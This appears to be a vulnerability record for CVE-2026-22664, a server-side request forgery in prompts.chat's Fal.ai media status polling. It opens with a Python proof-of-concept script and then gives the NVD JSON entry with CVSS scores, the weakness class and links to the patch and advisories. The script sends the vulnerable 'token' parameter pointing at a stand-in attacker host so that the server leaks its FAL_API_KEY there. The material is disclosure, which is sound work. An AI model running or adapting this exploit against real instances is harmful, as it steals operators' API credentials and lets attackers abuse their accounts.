CVE-2026-22664

import requests # Target URL of the vulnerable prompts.chat instance target_url = "http://victim-prompts-chat.com/api/media/status" # Attacker controlled server to capture the leaked FAL_API_KEY attacker_controlled_url = "http://attacker-server.com/capture" # The vulnerable parameter 'token' is used to trigger the SSRF payload = { "token": attacker_controlled_url } # Headers (Simulating a low-privilege authenticated user) headers = { "Authorization": "Bearer <low_priv_user_token>", "Content-Type": "application/json" } try: response = requests.post(target_url, json=payload, headers=headers) print(f"Request sent. Status code: {response.status_code}") print("Check attacker_server logs for the FAL_API_KEY in the Authorization header.") except Exception as e: print(f"Error: {e}")

{"cve": {"id": "CVE-2026-22664", "sourceIdentifier": "[email protected]", "published": "2026-04-03T21:17:09.513", "lastModified": "2026-04-13T18:13:53.827", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "prompts.chat prior to commit 30a8f04 contains a server-side request forgery vulnerability in Fal.ai media status polling that allows authenticated users to perform arbitrary outbound requests by supplying attacker-controlled URLs in the token parameter. Attackers can exploit the lack of URL validation to disclose the FAL_API_KEY in the Authorization header, enabling credential theft, internal network probing, and abuse of the victim's Fal.ai account."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fka:prompts.chat:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026-03-25", "matchCriteriaId": "2231F343-295D-417B-9925-BA342FB6A8F0"}]}]}], "references": [{"url": "https://gist.github.com/mdisec/27c0cac0ec6a8f3c8f85a18987ddb942", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/f/prompts.chat/commit/30a8f0470e0ba45e6be9c9f55220f4a9a6b91c99", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://www.vulncheck.com/advisories/prompts-chat-ssrf-via-fal-ai-media-status-polling", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://gist.github.com/mdisec/27c0cac0ec6a8f3c8f85a18987ddb942", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}